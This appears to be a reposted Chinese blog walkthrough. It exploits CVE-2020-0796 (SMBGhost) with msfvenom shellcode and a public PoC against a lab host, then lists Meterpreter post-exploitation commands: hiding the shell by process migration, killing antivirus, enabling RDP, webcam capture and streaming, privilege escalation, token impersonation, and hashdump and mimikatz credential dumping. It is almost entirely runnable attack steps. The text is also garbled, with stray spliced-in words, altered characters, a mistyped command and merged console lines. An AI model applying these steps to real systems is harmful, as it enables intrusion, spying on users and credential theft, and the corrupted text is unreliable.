CVE-2020-0796的msf渗透



起始



    通过对靶机的扫描探测,发现靶机存在CVE-2020-0796漏洞(靶机至少分4G内存,要不会蓝屏...)javascript

 




Shell获取



01
1 使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt


将shellcode.txt文本中内容替换exp(https://github.com/chompie1337/SMBGhost_RCE_PoC)中exploit.py中的USER_PAYLOAD。java



02
在msf中开启目标端口监听

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcppayload => windows/x64/meterpreter/bind_tcpmsf5 exploit(multi/handler) > set rhost 10.10.1.22rhost => 10.10.1.22msf5 exploit(multi/handler) > set lport 4445lport => 4445msf5 exploit(multi/handler) > exploit



03
执行攻击脚本
python3 /home/guolala/桌面/SMBGhost_RCE_PoC-master/exploit.py -ip 10.10.1.22

 

    

    成功反弹shellpython

 




后渗透攻击



01
进程迁移、隐藏shell

    刚得到Meterpreter shell时,该shell是很容易被发现的,因此第一步要把它和目标机中的一个稳定的进程绑定在一块儿。

    获取当前Meterpreter shell进行PID 。

getipd

 

 


    自动寻找合适的进程,而后迁移。nginx

run post/windows/manage/migrate

 

也能够使用migrate迁移到指定的进程。git



02
常见系统命令

    sysinfo查看目标机的系统信息
Sysinfo

 


    查看机器运行时间github

Idletime

 


    查看路由信息web

route

 


    查看当前渗透成功的用户名shell

getuid

 


    列举当前登陆用户
windows

run post/windows/gather/enum_logged_on_users

 


    列举应用程序
微信

run post/windows/gather/enum_applications

 


    检查是否为虚拟机

run post/windows/gather/checkvm

 



03
实用操做

    关闭杀毒软件

run post/windows/manage/killav

     


    开启远程桌面

run post/windows/manage/enable_rdp

  


    进入目标机shell

shell 

 



04
截屏与摄像头

    加载Espia插件    

Load espia

    截屏

screengrab

 

    查看有没有摄像头

webcam_list

    打开摄像头,使用摄像头抓取一张照片。

Webcam_snap

    开启直播模式

Webcam_stream




0 5
文件操做

    查看当前工做目录

Pwd 

    查看当前所在目录

Getlwd 


 


    列出当前目录文件

Ls 

    搜索文件

search -f *.txt -d c:/111

 

    下载指定文件

download c:/111/test.txt

 


    上传文件到指定目录

upload /home/guolala/桌面/password.txt c:/111

 

 



6
提权操做

    先进入shell


    若是出现乱码,键入:

chcp 65001

    查看咱们当前的权限

whoami /groups

 


    系统查看命令查看补丁安装状况

systeminfo 

 


    使用WMIC列出补丁

Wmic qfe get Caption,Description,HotFixID,InstalledOn

 


    自动提权命令

getsystem 

 




7
窃取令牌


    加载incognito插件

use incognito

    列出可用的token

list_tokens -u

 


    令牌假冒,假冒guolala用户的令牌

impersonate_token DESKTOP-4SU3VVU\\guolala

 




8
hash攻击


    

    使用hashdump抓取密码

Hashdump

 

 

    使用smart_hashdump导出全部用户的hash到文件

run windows/gather/smart_hashdump

 


    加载mimikatz插件

load mimikatz

    抓取系统hash值

Msv

 

    抓取系统票据

Kerberos

    抓取系统帐户信息

wdigest


    抓取hash(没抓成功,可能win10不支持)

mimikatz_command -f samdump::hashes

 


    查看进程

mimikatz_command -f handle::list

 






本文分享自微信公众号 - 小啦的学习笔记(woshiguolala)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索